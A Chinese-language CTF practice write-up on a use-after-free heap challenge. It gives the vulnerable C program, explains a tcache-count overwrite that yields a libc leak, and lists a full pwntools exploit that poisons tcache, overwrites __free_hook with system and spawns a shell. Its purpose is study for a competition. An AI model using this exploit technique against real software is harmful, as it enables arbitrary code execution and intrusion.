前言
要跟朋友去打 2023 HackTheon Sejong,怕我的實力太差導致拖累他們,所以挑這篇教學文章裡的題目加強自己的 heap exploit 能力,主要紀錄一些自己沒看過的利用手法或是有趣的題目
題目
https://bbs.kanxue.com/thread-271174.htm#msg_header_h1_37
day 4
uaf
題目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| #include<stdio.h> #include<stdlib.h> char *heap[0x20]; int num=0; void create(){ if(num >= 0x20){ puts("no more"); return; } int size; puts("how big"); scanf("%d",&size); if(size >= 0x20){ puts("no more"); return; } heap[num] = (char *)malloc(size); num++; } void show(){ int i; int idx; char buf[4]; puts("idx"); read(0, buf, 4); idx = atoi(buf); if (!heap[idx]) { puts("no hvae things\n"); } else { printf("Content:"); printf("%s",heap[idx]); } } void dele(){ int i; int idx; char buf[4]; puts("idx"); read(0, buf, 4); idx = atoi(buf); if (!heap[idx]) { puts("no hvae things\n"); } else { free(heap[idx]); num--; } } void edit(){ int size; int i; int idx; char buf[4]; puts("idx"); read(0, buf, 4); idx = atoi(buf); if (!heap[idx]) { puts("no hvae things\n"); } else { puts("how big u read"); scanf("%d",&size); if(size > 0x20){ puts("too more"); return; } puts("Content:"); read(0,heap[idx],size); } } void menu(void){ puts("1.create"); puts("2.dele"); puts("3.edit"); puts("4.show"); } void main(){ int choice; while(1){ menu(); scanf("%d",&choice); switch(choice) { case 1:create();break; case 2:dele();break; case 3:edit();break; case 4:show();break; default:puts("error"); } } }
|
exploit
這題的難點在於限制了 chunk 的大小、輸入的長度 必須小於 0x20,所以很難獲取 unsorted bin 的 chunk 來 leak libc。這題知道 libc base 就可以打 tcache poisoning,改掉 hook 來開 shell
作者給出的一個手法是透過控制 tcache 結構來獲取 unsorted bin。我們知道 tcache 其實是 heap 上的一個 chunk,大小是 0x250,上面的前 0x40 個 bytes 用來記錄對應大小的 tcache chunk 數量,那如果我有辦法知道 tcache 在哪、可以控制用來記錄 size 是 0x250 的 tcache chunk 的那個 byte 的話,就可以把那個 byte 改成 7。這樣 glibc 就會認為那條 tcache 已經滿了,free 那個 chunk 就會進到 unsorted bin
接下來講一個需要注意的細節
做完 unsorted bin 後有申請一個 chunk #10,如果把他直接 free 掉的話會進 fastbin,這是因為 chunk #10 剛好跟紀錄 tcache chunk 數量的那塊區域重疊,而那塊區域上有一些值殘留,所以要先把那塊區域都設成 0,這樣才會進 tcache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import *
def create(size): p.recvuntil('show\n') p.sendline(b'1') p.recvuntil(b'how big') p.sendline(str(size))
def delete(idx): p.recvuntil('show\n') p.sendline(b'2') p.recvuntil(b'idx\n') p.sendline(str(idx))
def edit(idx, size, content): p.recvuntil('show\n') p.sendline(b'3') p.recvuntil(b'idx\n') p.sendline(str(idx)) p.recvuntil(b'how big u read\n') p.sendline(str(size)) p.recvuntil(b'Content:\n') p.send(content)
def show(idx): p.recvuntil('show\n') p.sendline(b'4') p.recvuntil(b'idx\n') p.sendline(str(idx))
context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h']
p = process('./uaf') elf = ELF('./uaf') libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
for i in range(7): create(0x10) delete(0) delete(1) show(1) p.recvuntil(b'Content:') chunk0_addr = u64(p.recvline()[:6] + b'\x00' * 0x2) print("chunk0 address: ", hex(chunk0_addr)) tcache = chunk0_addr - 0x1670 print("tcache address: ", hex(tcache))
edit(0, 0x10, p64(tcache)) create(0x10) create(0x10) create(0x10) create(0x10) create(0x10) edit(7, 0x20, p64(0) * 0x4) delete(5) edit(5, 0x10, p64(tcache + 0x20)) create(0x10) create(0x10) edit(10, 0x10, p64(0x7000000)) delete(7) create(0x10) show(10) p.recvuntil(b'Content:') libc_base = u64(p.recvline()[:6] + b'\x00' * 0x2) - 0x3ebee0 free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] print(hex(libc_base)) edit(10, 0x20, p64(0x0) * 0x4) delete(10) edit(10, 0x10, p64(free_hook)) create(0x10) create(0x10) edit(11, 0x10, p64(system)) edit(8, 0x10, b'/bin/sh\x00') delete(8) p.interactive()
|